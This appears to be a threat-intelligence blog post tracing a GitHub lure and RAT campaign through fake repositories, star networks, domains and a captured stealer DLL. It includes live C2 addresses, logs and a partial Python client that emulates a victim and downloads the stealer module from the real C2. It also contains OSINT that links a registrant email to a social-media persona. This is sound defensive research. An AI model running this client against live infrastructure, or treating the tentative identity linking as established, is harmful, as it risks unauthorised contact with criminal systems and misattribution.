Known C2 connection → no longer active
From the second, the incident was still very much alive:
Browser sessions / cookies → potentially reusable
Application tokens → potentially reusable
Locally stored credentials → potentially exposed
Trusted-device state → potentially reusable
Deleting RuntimeBroker.exe could invalidate none of those things.
There was also an important asymmetry in the feedback. Removing persistence produces immediate evidence. Delete a malicious task, reboot, and observe that the executable does not return. Kill a C2 connection and watch it disappear. Each action supplies a visible indication that part of the problem has been solved. Credential remediation is different. Revoking a stolen session usually produces no satisfying confirmation that the action was necessary. Rotating a token that may or may not have been collected produces no visible success. Logging every service out everywhere can look almost identical whether the attacker possessed those sessions or not.
And when that work is missed, the failure may remain invisible for some time. The consequence can appear days later, on another platform, in a form that initially looks unrelated to the original compromise. That is exactly what happened here. The incident eventually made more sense as:
Malicious repository → PowerShell delivery → RAT execution
↓
Authentication material collected
↓
Host persistence removed
↓
Stolen authentication material remains valid elsewhere
↓
Access distributed or consumed downstream
↓
Different services abused over time
My red-team background was not the wrong tool. In several parts of this incident, it was a useful one. Thinking like the attacker helped me identify likely persistence, evaluate implementation quality, and contain the active foothold quickly. The mistake was allowing that same mental model to define when the incident was over. Offensive thinking is good at asking what an adversary can still do. Recovery must also ask what the adversary no longer needs to do because the damage has already left the endpoint. That was the lesson I had to learn from the wrong side of the engagement.
By that point, the incident had also produced something useful: samples, infrastructure, repository history, and a set of questions that no longer stopped at my computer.
And that became the starting point for Part Two: moving from incident response into threat intelligence.
Following the Operation Beyond the Endpoint
Part One ended at a point I would have preferred to reach without the practical demonstration: removing the malware did not revoke the access it had already exposed. The host could stop running the attacker's code while somebody else continued spending the results.
Once the immediate recovery work was under control, I could finally return to the questions that had been less urgent while my accounts were falling over. Where had that repository come from? Was it one disposable lure, or part of something larger? And why had the first executable revealed plenty of remote-access machinery but so little obvious information-stealing logic?
I had not suddenly acquired the attacker's panel, database, or internal chat history. I had a preserved executable, a few repository and platform screenshots, some disappearing web pages, and an increasingly inconvenient collection of unanswered questions.That turned out to be enough to make a start.
The investigation below follows how those fragments accumulated. The important moments were not just the discoveries. They were the points where a new artifact forced me to revisit an earlier interpretation—including several interpretations I had been rather pleased with at the time.
The First Puzzle: The Malicious Repository
The initial lure was MillipedeLoad/Adobe-Acrobat-Pro. In Part One, the useful question had been what its installation command executed. Now I wanted to understand why the repository looked credible enough for me to execute it in the first place, and whether the surrounding GitHub activity was genuine. The screenshot I had preserved became more useful on this second visit. It showed 303 stars and 17 forks, but only five contributions in the last year on the profile. The apparent project popularity and the visible development activity were telling very different stories.
A popular repository with few commits is not automatically malicious. A mature project might be mirrored, imported, or maintained elsewhere. Here, however, that explanation had to coexist with a README that led into a malicious PowerShell chain and a repository whose actual source content did very little to support its advertised purpose. I therefore stopped treating the star count as an endorsement and started treating it as another artifact to investigate.
There was one immediate problem: some of the relevant accounts and repositories had already disappeared. The convenient version of the investigation—open the profile, inspect the files, follow the links—was no longer available everywhere.
Deleted pages and the evidence around them
I worked outward from the objects that survived: cached search results, surviving forks, Git history, and public-event archives such as Ecosyste.ms Timeline, which presents GH Archive data. Web archives were another place to look, but a query to an archive was not itself a recovered snapshot. I kept the source of each recovered fact separate
This distinction sounds administrative until it prevents a wrong conclusion. A search result can preserve a repository name or part of an installation command. It cannot, by itself, tell me what every file in that repository contained. A surviving fork can retain commits and blobs after the original path goes away. A public WatchEvent can establish that a particular account starred a named repository, even if the repository content is gone. None of those records substitutes for all the others.
The practical result was that “404” became the beginning of another search, rather than the end of the evidence trail. The original page could vanish while its commits, forks, references, and interactions remained scattered around it.
The product names changed; the construction did not
The first useful cluster covered surprisingly unrelated products:
| Repository | Advertised theme | Recovered connection |
|---|---|---|
MillipedeLoad/Adobe-Acrobat-Pro |
PDF software | Initial incident lure; parent history preserved by surviving forks |
GulfMouseVice/crypto-miner-gpu-cpu-hashrate |
Cryptocurrency mining | shells[.]su delivery instructions and a similar repository lifecycle |
Binaryunenhance/instagram-liker-bot-auto-like-software-download |
Instagram automation | Parallel instructions using gitbase[.]su |
HyperIllusionistTap/Whale-Tracker-Analytics |
Market analytics | Retained same-template delivery observations; less complete surviving Git evidence |
The common elements were more useful than the marketing: the /powershell/Genesis.ps1 path, closely related remote-execution instructions, keyword-heavy READMEs, very small trees, and source files that did not appear to implement the promised applications. The early snapshots recorded roughly 3–4 KB for several of these repositories despite hundreds of stars.
A particularly revealing detail was the language badge. One repository had temp.cpp, another temp.py, and another temp.cs. At a glance, that suggested C++, Python, and C# projects. Looking inside exposed the same content:
# LINK IN REPOSITORY
The retained Git blob identifier was identical:
f7aa7c960f15059c892e4558d44ad9ac70f46cba
Three apparent implementation languages. One instruction to go somewhere else. The badge had become part of the packaging rather than evidence of software development. It was an inexpensive way to make a README-driven delivery page look more like a normal code repository.
The exact blob match proved content reuse, not authorship. A short placeholder is easy to copy and not distinctive enough to carry a campaign attribution by itself. Its significance came from the surrounding agreement: the same delivery path, the same thin-code construction, similar README instructions, and the timing of the promotion that followed.
The age was real; the apparent history was misleading
Commit history added another useful correction. A repository could have existed for months without having contained anything resembling its current advertised software. The retained GulfMouseVice history began on March 31 with a README consisting of the one-line heading # fljghchq. On August 16, the README was replaced with a much more substantial miner promotion containing the Genesis delivery command. A decorative Python file followed minutes later.
The Adobe lure had a comparable sequence: an old minimal README, followed by a malicious rewrite and a placeholder source file shortly before the incident. The Instagram branch carried the parallel gitbase[.]su instructions earlier in August.
| Recorded change | Time in the retained commit data | Why I kept it |
|---|---|---|
| Adobe malicious README | August 16, 18:12:06 UTC | Content change that made the old repository dangerous |
Adobe temp.cpp placeholder |
August 16, 18:14:34 UTC | Cosmetic source-language contribution immediately afterward |
| Miner malicious README | August 16, 19:45:40 UTC | A similar conversion about 94 minutes after the Adobe change |
Miner temp.py placeholder |
August 16, 19:48:28 UTC | The same short delay before adding the decorative source file |
These were Git metadata times, not an authenticated record of the operator's physical activity. I also did not interpret the +0200 and +0300 author offsets as proof of location. Their useful contribution was the sequence of changes and the similarity between repository lifecycles.
For a prospective victim, however, the distinction mattered enormously. “This repository has existed since March” sounds reassuring. “This repository contained a junk heading until a few hours before the malicious installation instructions appeared” sounds rather different. I had been looking at the age of the container. The relevant event was when somebody changed what was inside it.
The fork wave
The forks were useful in two ways. First, they preserved evidence. Surviving Adobe forks under dev-Warrior65621 and zx-King7147447733lion, and miner forks under accounts such as mad-Plasma-Mind9, retained parent relationships and Git history after the original pages became unavailable. Second, their timing contributed to the promotional picture. Representative forks in the retained records appeared approximately 12, 21, and 33 minutes after the corresponding weaponization or finalizing changes. Those intervals belonged to specific examples; they were not a measured distribution over every fork in the campaign.
The account names often followed a familiar construction: words combined with numbers, then a technical-looking suffix such as -hub, -bin, -cli, -pwn, or -cfg. After enough examples, they started to look less like individual usernames and more like output from a naming routine. But naming style was still only a clue. Ordinary users also choose odd names, and ordinary users also fork suspicious projects. The stronger evidence was repeated behavior: similar accounts appearing in tight windows around newly weaponized, thinly populated repositories using the same delivery template. That was the point at which a repository list stopped being an adequate way to organize the investigation.
Following the accounts instead of only the links
I built the next pass around alternating pivots:
Repository → star/fork actors → those actors' other repositories
→ repository owners → more recorded interactions
The graph needed typed edges. An owns edge described ownership as recorded by the platform. A starred edge described a public event. A fork edge described lineage. I did not let any of them quietly turn into “is an accomplice.”
One historical repository became a particularly useful seed:
gitlerzov1488gitler-cmd/RUST-2026-A-I-M
The owner name was unusual enough to warrant a separate investigation, which I return to below. For the graph, its immediate value was the surrounding event history.
The retained Timeline record showed an owner self-star on January 7, 2026, at 17:48, followed by ten other accounts starring the repository in the displayed 19:41–19:44 window. I preserved those as page-displayed times because the timezone of that presentation had not been independently verified.
Three minutes is not a great deal of time for ten independent people to discover the same obscure repository—especially when several of them also appeared around the same other projects in those same minutes.
The ten-account seed cohort retained in the event graph
fastjack73leontrq finklousen59upy
pripak-minibearqie greyjulianbell491vdf
stne-100ye7 funnyway9m51
bambino66lamb4bn urch-arrow376
laner-mrgood306 brom-100cmh
These are event actors, not ten confirmed members of one criminal organization. The dataset preserves the interaction being asserted for each one.
Two optimization projects under glas2000wsz shared four members of this cohort. Other repeated targets involved Rust and Valorant cheats, Counter-Strike skin changers, an authenticator, and performance utilities. The recurring accounts were more informative than any one project's alarming title.
The activity also repeated over time. A January 19 wave involved cheat and executor themes. On January 28, two seed stargazers promoted the same authenticator within a 13-minute window. On February 6, one account starred several game/performance projects in roughly a minute. On February 8, a market-analysis assistant appeared alongside another game-related target.
This was not simply “people who like games sometimes star game repositories.” It was a small set of accounts repeatedly supplying similar bursts of attention to otherwise unrelated software themes.
The first bounded pass contained 47 nodes and 67 edges: 28 account nodes, 19 repositories, 48 star relationships, and 19 ownership relationships. The second pass expanded to 125 nodes and 150 edges. The larger number needs explaining rather than advertising. It includes 54 account nodes, 45 repositories, 14 evidence nodes, six skill variants, and six other typed objects. The 25 sampled current forks are already included in the repository count. Evidence documents are not people. Context-only forks are not confirmed malware projects
A branch that reached independently documented malicious behavior
One seed stargazer, fastjack73leontrq, led to the historical repository path krajekisbtc/PolymarketBTC15mAssistant. This was more useful than another suspiciously named cheat repository because the publisher label also appeared in independent security research.
Unit 42 documented polymarketbtc, polymarketbtcassistant, and related skills published by krajekisbtc that exfiltrated cryptocurrency private keys through the Telegram Bot API. Its report described that as a distinct channel rather than part of the shared dropper infrastructure discussed elsewhere in the same research.
The connection I could support was therefore specific:
Seed repository
← starred by fastjack73leontrq
→ also starred historical krajekisbtc repository
→ publisher label in independently documented malicious skills
That strengthened the case for an abusive promotion ecosystem. It did not make the graph an organization chart. The shared account might belong to the operator, a paid promotion service, an affiliate, or an account pool used by several customers.
A second branch, through greyjulianbell491vdf, reached moneycash-10094n/rust-fps-boost. Its preserved presentation instructed users to run an administrator-level “FPS boost” executable. The later sample review recorded a roughly 10 MB PE whose normal section data ended much earlier, leaving a large structured overlay, together with decryption and in-memory execution-related behavior. That review assessed it as a malicious loader rather than the advertised optimizer.
The initial graph had correctly marked this as a high-risk lure before the sample was reviewed. The later assessment did not retroactively turn the original star event into proof of malware. It added a separate content-based finding to a relationship already recorded. That sequence was exactly what I wanted from the graph: a way to reach artifacts worth examining, not a machine for assigning guilt by proximity.
IP Addresses, Domains, and What the Infrastructure Gave Away
The host-side investigation had already exposed more than one server role. shells[.]su belonged to the delivery and screenshot-collection layer. 145.63.134[.]94 appeared in the native payload's runtime communication. The parallel repository templates introduced gitbase[.]su.
I kept those roles separate instead of flattening everything into one column labeled C2. Otherwise, a domain used to deliver a loader, a server receiving a screenshot, and a destination promoted by a stolen social account could all appear equally close to the operator when they were not.
The historical records around 192.162.199[.]184 were particularly useful. The investigation material associated it with shells[.]su and with earlier domains including verificator[.]cc. The later network report also recorded genesis-hub[.]cc in that hosting cluster. These observations supplied continuity around infrastructure whose visible front could change. Please refer to https://phishdestroy.io/domain/verificator.cc/, https://gridinsoft.com/online-virus-scanner/url/verificator-cc, https://phishdestroy.io/domain/genesis-hub.cc/, https://gridinsoft.com/online-virus-scanner/url/genesis_hub-cc for details.
They also imposed a limit. An IP can host different domains at different times, and shared or reused infrastructure does not automatically establish the same tenant. The useful unit was the host, service, domain, path, and observation time together
The retained domain research placed verificator[.]cc registration on July 27 and genesis-hub[.]cc on July 30, with historical association to the same .184 server. shells[.]su followed on August 13; the lure repositories were weaponized shortly afterward. The value of the older threat-intelligence records was not simply that a reputation service had drawn a red warning icon. It was that the host already had relevant malicious-hosting context before the particular lure I had executed appeared.
Unnecessarily informative Windows Server
As we already knew that IP 145.63.134[.]94 is the C2 server, 192.162.199.184 is the delivery server. However, both of them exposed excessive service to the Internet, rather than implementing IP whitelisting, local listening, or tunneled access. Shodan captured the snapshot of them: https://www.shodan.io/host/192.162.199.184, https://www.shodan.io/host/145.63.134.94.
While exposing ports such as 135, 445, and 3389 does not automatically make a system easy to exploit, I would hardly call it great OPSEC either. Some of these services are rather verbose, leaking fingerprints useful to threat hunters—and perhaps breadcrumbs for other attackers looking at the same infrastructure. There is a certain irony in that: I am a red teamer, and I still got compromised. They are attackers too. That does not mean nobody gets to attack them. lol
The Handle That Did Not Blend In
The shells[.]su record retained a registry contact:
krassavchik13370@gmail[.]com
The recorded registration time was August 13, 2026, 19:17:32 UTC. The gitbase[.]su investigation led to another reported contact:
gitlerzov1488gitler@gmail[.]com
A contact string also does not prove a legal identity. It can be a burner, a compromised account, misleading metadata, or something deliberately planted. Still, this one differed sharply from the apparently generated GitHub names around it. I had already encountered an almost exact version of it in a historical repository owner:
WHOIS contact local part: gitlerzov1488gitler
Historical GitHub owner: gitlerzov1488gitler-cmd
Well, it appears that this one stands out from all other randomly-looking handles. The core string was gitlerzov1488. The full email local part repeated gitler at the end, while the GitHub owner added -cmd. It was specific enough to search in smaller pieces and exact combinations without treating every account containing gitler or 1488 as a hit.
“Gitler” is a reference to Hitler, while “1488” is commonly associated with racist and white-supremacist ideology. Given the level of moderation across online communities, as well as the public backlash and embarrassment that can come with expressing such views too openly, I would not expect there to be a large number of surviving handles built around those terms—though certainly not just a handful either. The combination gitler1488 should be considerably rarer, perhaps appearing only a few times, but probably not uniquely so, since it is still a fairly obvious combination within a certain subculture. The addition of ZOV, however, changes the picture significantly. It acts as a much more discriminating token, making the compound handle exceptionally rare and plausibly unique in practice. My question was whether the operational identifier overlapped with a longer-lived public persona. That would be an interesting OPSEC observation even without a real name, address, nationality, or employer.
By utilizing searching engine and tools such as Sherlock, a ticktok profile caught my eyes, as the profile showed the exact gitlerzov1488 handle with the display name “Mango kartel 66.” The user's video covers various topic, and the Minecraft one looks especially interesting
In the Minecraft relevant video, the game character stands on the Nazi swastika shaped boat, and the comment section attracted people who shared the same ideology
Since Minecraft is a key element in his channel, I cross referred Minecraft social platform, and found 2 potential matches.
I also found a hit on KLauncher community:
Aside from exact gitlerzov1488, I also tried with various variations, such as 1488gitler1488. But at the end of the day, I still miss some bridges. Even for gitlerzov1488, while I don't think it is a common one that multiple people will claim it, exist ones can be good clues, I still cannot prove it or make a conclusion. Maybe it is the uncertain nature of OSINT.
An OPSEC hypothesis, with the chronology left intact
The contrast still bothered me. Most GitHub accounts looked disposable. This one overlapped with a distinctive email local part and a public persona with older activity. Was it an early operational mistake that later account randomization was intended to avoid? That was a reasonable hypothesis to record. It was not an established explanation for the bot network.
In fact, the retained seed-amplification events were already present in January, months before my August infection. The data did not provide a clean “one personal handle first, anonymized bot army afterward” transition. The account pool might have existed for promotion, for rotation, as a shared commercial service, or for several purposes simultaneously.
What I could say was that the long-form handle occupied an unusually useful position in the collected evidence: an archive-visible owner name, a reported infrastructure-contact overlap, and a candidate longer-lived public persona. What I could not say was that graph centrality made the account its leader, or that the owner wrote the malware. Then the binary handed me another reason to keep looking.
Sample Revisit: When the IOC Was Not the Whole Answer
During the incident, 1.exe had been useful primarily as a source of actionable answers: where it copied itself, what relaunched it, what it contacted, and which host artifacts I needed to remove or preserve. AI-assisted analysis helped shorten that process, but it was not a complete reconstruction of the program.
After the immediate remediation work, an awkward mismatch remained. The account aftermath strongly suggested information theft. The executable analysis had identified persistence, C2, tasking, obfuscation, and process/memory operations—but not an obvious, comprehensive implementation of all the browser and application theft that the consequences seemed to imply. There were several possible explanations. The relevant code might be hidden behind obfuscation. It might have been missed during the triage. Or it might not be in this executable at all. The third possibility deserved more attention than I had initially given it. At this stage, threat intelligence and reverse engineering stopped being separate workstreams. The infrastructure and tasking clues told me where to look in the binary; the binary told me what observations would distinguish the competing explanations.
A synthetic victim, rather than my workstation again
The protocol work led to observation scripts using fabricated host profiles. The idea was to understand the delivery and tasking behavior without handing the operation another real workstation or running whatever it returned. The client could record task messages without implementing the task execution they requested. It did not need browser credentials, real files, or an actual information-stealing routine to reveal what the control channel was telling a client to do. The recorded sequence was recognizable: a client checked in, the server requested information with getinfo, and a fabricated profile was returned. Then came the message that changed the direction of the analysis:
python .\genesis_synthetic_victim_suite.py honeypot `
>> --id A1B2C3D4 `
>> --user jsmith `
>> --os "Windows 11 Pro" `
>> --av "Windows Defender" `
>> --observe 600 `
>> --logfile c2_406.jsonl
[2026-09-08T03:49:08+00:00] PROFILE Synthetic C2 victim: id=A1B2C3D4 user=jsmith os='Windows 11 Pro' av='Windows Defender'
[2026-09-08T03:49:08+00:00] HANDSHAKE Control channel response: HTTP/1.1 101 Switching Protocols
[2026-09-08T03:49:08+00:00] SEND Registered synthetic victim: 'ready;A1B2C3D4;version;1.0.0'
[2026-09-08T03:49:09+00:00] RECV C2 command [GETINFO]: 'getinfo'
[2026-09-08T03:49:09+00:00] SEND Sent synthetic victim information: 'info;Windows Defender;Windows 11 Pro;jsmith;36763880'
[2026-09-08T03:49:09+00:00] RECV C2 command [TASK]: 'task;createtask;Stealer;task_id;5v2nlq_oqgr;version;1.0.2'
[2026-09-08T03:49:09+00:00] TASK Observed createtask: type='Stealer' id='5v2nlq_oqgr' version='1.0.2'
[2026-09-08T03:49:09+00:00] MODULE-OFF Task 'Stealer' recorded; TCP/408 collection is disabled
[2026-09-08T03:49:12+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:49:12+00:00] SEND Sent application-layer pong
[2026-09-08T03:49:27+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:49:27+00:00] SEND Sent application-layer pong
[2026-09-08T03:49:42+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:49:42+00:00] SEND Sent application-layer pong
That was the real task text captured during the investigation. The name was not subtle. But a task called Stealer was still only a task. At first, the synthetic client received no DLL and no obvious binary stream over that connection. I had an instruction to run the missing component. I did not yet have the component.
Returning to the original executable clarified the division of labor. Port 406 was the WebSocket task channel; port 408 served the module over a separate HTTP connection. The task message was not supposed to contain all of the module bytes. By implementing the simulated interaction with port 408, the eventual capture record documented:
python .\genesis_synthetic_victim_suite.py honeypot `
>> --capture-modules `
>> --capture-dir captured_modules `
>> --logfile c2_full.jsonl
[2026-09-08T03:51:03+00:00] PROFILE Synthetic C2 victim: id=0EF155DE user=alex os='Windows 11 Pro' av='Avast Antivirus'
[2026-09-08T03:51:04+00:00] HANDSHAKE Control channel response: HTTP/1.1 101 Switching Protocols
[2026-09-08T03:51:04+00:00] SEND Registered synthetic victim: 'ready;0EF155DE;version;1.0.0'
[2026-09-08T03:51:04+00:00] RECV C2 command [GETINFO]: 'getinfo'
[2026-09-08T03:51:04+00:00] SEND Sent synthetic victim information: 'info;Avast Antivirus;Windows 11 Pro;alex;36763880'
[2026-09-08T03:51:04+00:00] RECV C2 command [TASK]: 'task;createtask;Stealer;task_id;5v2nlq_oqgr;version;1.0.2'
[2026-09-08T03:51:04+00:00] TASK Observed createtask: type='Stealer' id='5v2nlq_oqgr' version='1.0.2'
[2026-09-08T03:51:04+00:00] MODULE-GET GET 145.63.134.94:408/task/Stealer User-Agent=0EF155DE
[2026-09-08T03:51:05+00:00] MODULE Captured and neutered Stealer 1.0.2: captured_modules\20260907_235105_synthetic_Stealer_1.0.2_5v2nlq_oqgr_9651824ed3d1.quarantine.bin original_size=1459712 original_sha256=9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3
[2026-09-08T03:51:12+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:51:12+00:00] SEND Sent application-layer pong
[2026-09-08T03:51:27+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:51:27+00:00] SEND Sent application-layer pong
This time, the sample really had arrived. The new file was a native x64 DLL, not another copy of the 533,504-byte 1.exe and not a BOF object. Its original capture hash was:
9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3
The analysis copy had been deliberately altered before disk storage: a non-executable extension, broken PE-identifying header fields, and requested read-only permissions. Its separate hash was:
dbae56e4a26cde05c166e346d22c253f38619d7ee703608d5f98db0314e7675d
The DLL's own report-generation code contained the label “Redhive Stealer.” Its initialization logic also checked for Global\RuntimeBrokerAds, the mutex already associated with the original loader, before using Global\StealerLib for its own instance control. That was a much stronger code-level relationship than the fact that the downloaded file had been called Stealer. The emerging architecture was now more coherent:
Persistent loader / RAT
↓ receives task
Separately supplied Stealer DLL
↓ collects and organizes data
Independent result-upload channel
The modular idea resembled post-exploitation frameworks: keep communication and dispatch in a resident component, then supply the capability needed for a particular job. The actual captured object was a DLL. It also changed the meaning of an earlier reassuring finding. All identified autostarts could point to one executable while that executable still acquired additional runtime capabilities. One persistent on-disk payload was never proof of only one payload over the life of the compromise.
The script to simulate a victim it as below:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Genesis-SU Synthetic Victim Suite
Integrated defensive research utility with four functional modules:
delivery Synthetic delivery/staging callbacks + fake screenshot upload
honeypot TCP/406 WebSocket synthetic victim; optional task-triggered 408 collection
workflow delivery -> 406 honeypot -> optional 408 collection using one identity
exfil-* Controlled TCP/1488 protocol laboratory using synthetic ZIP content only
Safety invariants:
* All victim data is synthetic.
* Attacker-supplied responses/tasks are recorded only and never executed.
* Downloaded modules are never loaded or run.
* Valid PE modules are neutered before disk I/O and stored read-only.
* Synthetic screenshots are generated in memory; the analyst desktop is never captured.
* TCP/1488 client mode is restricted to loopback/private controlled targets.
* No brute-force, flooding, service enumeration, or exploit logic is included.
"""
from __future__ import annotations
import argparse, base64, hashlib, io, ipaddress, json, os, random, re
import secrets, socket, ssl, stat, string, struct, threading, time
import urllib.error, urllib.parse, urllib.request, zipfile, zlib
from dataclasses import asdict, dataclass
from datetime import datetime, timezone
from pathlib import Path, PurePosixPath
from typing import Iterable, Optional
DEFAULT_DELIVERY_BASE = "https://shells.su"
DEFAULT_C2_HOST = "145.63.134.94"
DEFAULT_CONTROL_PORT = 406
DEFAULT_TASK_PORT = 408
DEFAULT_EXFIL_PORT = 1488
WS_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
WS_KEY = "dGhlIHNhbXBsZSBub25jZQ=="
BOT_VERSION = "1.0.0"
CAMPAIGN_ID = "36763880"
DEFAULT_STAGING_UA = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"
MAX_MODULE_BYTES = 0x300000
MAX_HTTP_HEADER = 65536
MAX_EXFIL_ARCHIVE = 4 * 1024 * 1024
MAX_EXFIL_ENTRY = 512 * 1024
MAX_EXFIL_ENTRIES = 64
AUTH_MARKER = b"auth_ok"
WS_OP_CONT, WS_OP_TEXT, WS_OP_BINARY = 0x0, 0x1, 0x2
WS_OP_CLOSE, WS_OP_PING, WS_OP_PONG = 0x8, 0x9, 0xA
SAFE_TASK_CHARS = set("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-")
class Logger:
def __init__(self, jsonl_path=None):
self.fp = open(jsonl_path, "a", encoding="utf-8") if jsonl_path else None
self.lock = threading.Lock()
@staticmethod
def iso():
return datetime.now(timezone.utc).isoformat(timespec="seconds")
def event(self, tag, message, **fields):
with self.lock:
print(f"[{self.iso()}] {tag:<11} {message}", flush=True)
if self.fp:
rec = {"time_unix": time.time(), "time_utc": self.iso(), "tag": tag, "message": message, **fields}
self.fp.write(json.dumps(rec, ensure_ascii=False) + "\n")
self.fp.flush()
def close(self):
if self.fp:
self.fp.close()
@dataclass
class VictimProfile:
hostname: str = ""
username: str = ""
os_version: str = ""
av_product: str = ""
bot_id: str = CAMPAIGN_ID
checkin_id: str = ""
country: str = ""
def randomize(self):
if not self.hostname:
self.hostname = "DESKTOP-" + "".join(random.choices(string.ascii_uppercase + string.digits, k=7))
if not self.username:
self.username = random.choice(["jsmith", "mwilson", "klee", "alex", "charlie", "operator"])
if not self.os_version:
self.os_version = random.choice(["Windows 11 Pro", "Windows 10 Pro", "Windows 11 Enterprise", "Windows 10 Enterprise"])
if not self.av_product:
self.av_product = random.choice(["Windows Defender", "Windows Defender", "Avast Antivirus", "ESET Security"])
if not self.checkin_id:
self.checkin_id = f"{int.from_bytes(os.urandom(4), 'big'):08X}"
if not self.country:
self.country = random.choice(["US", "CA", "DE", "GB", "AU"])
return self
def checkin_message(self):
return f"ready;{self.checkin_id};version;{BOT_VERSION}"
def info_message(self):
return f"info;{self.av_product or 'unknown'};{self.os_version};{self.username};{self.bot_id}"
def build_profile(args):
return VictimProfile(
hostname=getattr(args, "hostname", "") or "",
username=getattr(args, "user", "") or "",
os_version=getattr(args, "os_version", "") or "",
av_product=getattr(args, "av", "") or "",
bot_id=getattr(args, "botid", CAMPAIGN_ID) or CAMPAIGN_ID,
checkin_id=(getattr(args, "id", "") or "").upper(),
country=(getattr(args, "country", "") or "").upper(),
).randomize()
def sha256_bytes(data):
return hashlib.sha256(data).hexdigest()
def read_only(path: Path):
try:
os.chmod(path, stat.S_IRUSR)
except OSError:
try:
os.chmod(path, stat.S_IREAD)
except OSError:
pass
def safe_component(value, max_len=64):
return bool(value) and len(value) <= max_len and all(c in SAFE_TASK_CHARS for c in value)
def response_preview(data, limit=240):
return data[:limit].decode("utf-8", errors="replace").replace("\r", "\\r").replace("\n", "\\n") if data else ""
# ---------------------------------------------------------------------------
# Module 1: delivery / staging probe
# ---------------------------------------------------------------------------
def _png_chunk(kind, payload):
crc = zlib.crc32(kind)
crc = zlib.crc32(payload, crc) & 0xFFFFFFFF
return struct.pack(">I", len(payload)) + kind + payload + struct.pack(">I", crc)
def make_synthetic_desktop_png(width=960, height=540):
"""Generate a fake desktop-like PNG without reading the analyst desktop."""
width = max(320, min(width, 1920)); height = max(180, min(height, 1080))
rows = bytearray()
for y in range(height):
rows.append(0)
for x in range(width):
r = 20 + int(20 * y / height); g = 75 + int(45 * x / width); b = 130 + int(80 * y / height)
wx0, wy0, wx1, wy1 = width // 7, height // 8, width * 6 // 7, height * 4 // 5
if wx0 <= x <= wx1 and wy0 <= y <= wy1:
r, g, b = ((45, 48, 54) if y < wy0 + 32 else (235, 237, 240))
if wx0 + 18 <= x <= wx0 + 150 and wy0 + 55 <= y <= wy1 - 20:
r, g, b = 220, 224, 229
if wx0 + 180 <= x <= wx1 - 25:
if wy0 + 65 <= y <= wy0 + 120: r, g, b = 210, 225, 244
elif wy0 + 145 <= y <= wy0 + 205: r, g, b = 224, 234, 220
if y >= height - 42: r, g, b = 25, 28, 33
if 18 <= x <= 70 and 18 <= y <= 50: r, g, b = 220, 50, 50
rows.extend((r, g, b))
sig = b"\x89PNG\r\n\x1a\n"
ihdr = struct.pack(">IIBBBBB", width, height, 8, 2, 0, 0, 0)
return sig + _png_chunk(b"IHDR", ihdr) + _png_chunk(b"tEXt", b"Comment\x00SYNTHETIC RESEARCH DESKTOP - NO VICTIM DATA") + _png_chunk(b"IDAT", zlib.compress(bytes(rows), 6)) + _png_chunk(b"IEND", b"")
@dataclass
class HTTPObservation:
method: str
url: str
status: Optional[int]
response_size: int
response_sha256: Optional[str]
content_type: str
preview: str
error: str = ""
def http_request(method, url, *, user_agent, body, timeout, insecure_tls):
req = urllib.request.Request(url, data=body, method=method)
req.add_header("User-Agent", user_agent)
if body is not None:
req.add_header("Content-Type", "application/x-www-form-urlencoded")
ctx = ssl._create_unverified_context() if insecure_tls else ssl.create_default_context()
try:
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
data = resp.read(1024 * 1024)
return HTTPObservation(method, url, getattr(resp, "status", None), len(data), sha256_bytes(data) if data else None, resp.headers.get("Content-Type", ""), response_preview(data))
except urllib.error.HTTPError as exc:
try: data = exc.read(1024 * 1024)
except Exception: data = b""
return HTTPObservation(method, url, exc.code, len(data), sha256_bytes(data) if data else None, exc.headers.get("Content-Type", "") if exc.headers else "", response_preview(data), f"HTTP error: {exc}")
except Exception as exc:
return HTTPObservation(method, url, None, 0, None, "", "", str(exc))
def delivery_cycle(args, profile, log):
base = args.delivery_base.rstrip("/")
query = urllib.parse.urlencode({"pc": profile.hostname, "country": profile.country})
start_url, screen_url, end_url = f"{base}/start.php?{query}", f"{base}/screen.php?{query}", f"{base}/end.php?{query}"
png = make_synthetic_desktop_png(args.screen_width, args.screen_height)
image_uri = "data:image/png;base64," + base64.b64encode(png).decode("ascii")
screen_body = urllib.parse.urlencode({"pc": profile.hostname, "image": image_uri}).encode("ascii")
log.event("PROFILE", f"Synthetic delivery victim: host={profile.hostname} country={profile.country}", module="delivery", synthetic=True, profile=asdict(profile))
log.event("SCREEN", f"Generated synthetic desktop PNG: {len(png)} bytes sha256={sha256_bytes(png)}", module="delivery", png_sha256=sha256_bytes(png))
if args.dry_run:
log.event("DRYRUN", f"GET {start_url}", module="delivery")
log.event("DRYRUN", f"POST {screen_url} fields=[pc,image] encoded_bytes={len(screen_body)}", module="delivery")
log.event("DRYRUN", f"GET {end_url}", module="delivery")
return
for tag, method, url, body in [("START", "GET", start_url, None), ("SCREEN", "POST", screen_url, screen_body), ("END", "GET", end_url, None)]:
obs = http_request(method, url, user_agent=args.staging_ua, body=body, timeout=args.delivery_timeout, insecure_tls=args.insecure_tls)
log.event(tag, f"{method} {url} -> status={obs.status} bytes={obs.response_size}" + (f" error={obs.error}" if obs.error else ""), module="delivery", observation=asdict(obs))
if obs.preview:
log.event("RESPONSE", f"{tag} response preview (recorded only, never executed): {obs.preview!r}", module="delivery")
# ---------------------------------------------------------------------------
# Module 2: TCP/406 WebSocket synthetic victim
# ---------------------------------------------------------------------------
def ws_encode(payload, opcode=WS_OP_BINARY):
mask = secrets.token_bytes(4); out = bytearray([0x80 | (opcode & 0x0F)]); n = len(payload)
if n <= 125: out.append(0x80 | n)
elif n <= 0xFFFF: out.append(0x80 | 126); out.extend(struct.pack(">H", n))
else: out.append(0x80 | 127); out.extend(struct.pack(">Q", n))
out.extend(mask); out.extend(bytes(b ^ mask[i % 4] for i, b in enumerate(payload)))
return bytes(out)
class WSReader:
def __init__(self, sock, leftover=b""):
self.sock = sock; self.buf = bytearray(leftover); self.frag_opcode = None; self.frag_payload = bytearray()
